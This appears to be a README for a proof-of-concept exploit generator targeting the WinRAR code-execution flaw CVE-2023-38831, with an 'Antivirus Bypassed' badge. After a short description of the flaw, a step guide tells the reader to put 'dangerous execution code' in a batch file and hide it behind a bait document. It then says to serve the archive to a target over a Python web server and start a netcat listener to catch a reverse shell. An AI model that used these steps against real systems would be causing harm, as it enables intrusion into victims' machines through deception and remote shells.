## https://sploitus.com/exploit?id=550A5208-5B31-59F9-A036-8385196F3DA5
<h1 style="font-size:10vw" align="left">CVE-2023-38831 - RARLAB WinRAR Code Execution Vulnerability</h1>
<img src="https://img.shields.io/badge/CVSS:3.1%20Score%20-7.8 HIGH-red"> [![Python](https://img.shields.io/badge/Python-%E2%89%A5%203.11-blueviolet.svg)](https://www.python.org/) <img src="https://img.shields.io/badge/Antivirus%20Bypassed-%E2%89%A5%20Yes-blue">
<img src="https://img.shields.io/badge/Maintained%3F-Yes-96c40f">
******
โ ๏ธ *For educational and authorized security research purposes only*
## Original Exploit Authors
Very grateful to the original PoC author [b1tg](https://github.com/b1tg) and [Group-IB Threat Intelligence](https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/)
## Description
RARLabs WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive.
![gambar](https://github.com/asepsaepdin/CVE-2023-38831/assets/122620685/aa3edfa5-3cf4-4b0d-a87e-4f1534470bf6)
The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through August 2023.
## Demo
![winrar](https://github.com/asepsaepdin/CVE-2023-38831/assets/122620685/e3da1ade-7044-41dc-b7c9-9e7ae519cee7)
******
## Step Guides
1. First, modify the script.bat file with your dangerous execution code
2. Insert the bait file, is recommended to be an image (.png, jpg) or a document (.pdf)
3. Run the command to generate exploit file
```bash
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar
```
5. Send the exploit file to the target machine using python http.server, for example:
```bash
python -m http.server
```
5. Set Up the Listener on your attacker machine:
```bash
nc -nlvp 4444
```
6. Download and open exploit file with WinRAR before 6.23 version
******
## Credits
- https://github.com/b1tg/CVE-2023-38831-winrar-exploit
- https://nvd.nist.gov/vuln/detail/CVE-2023-38831
- https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/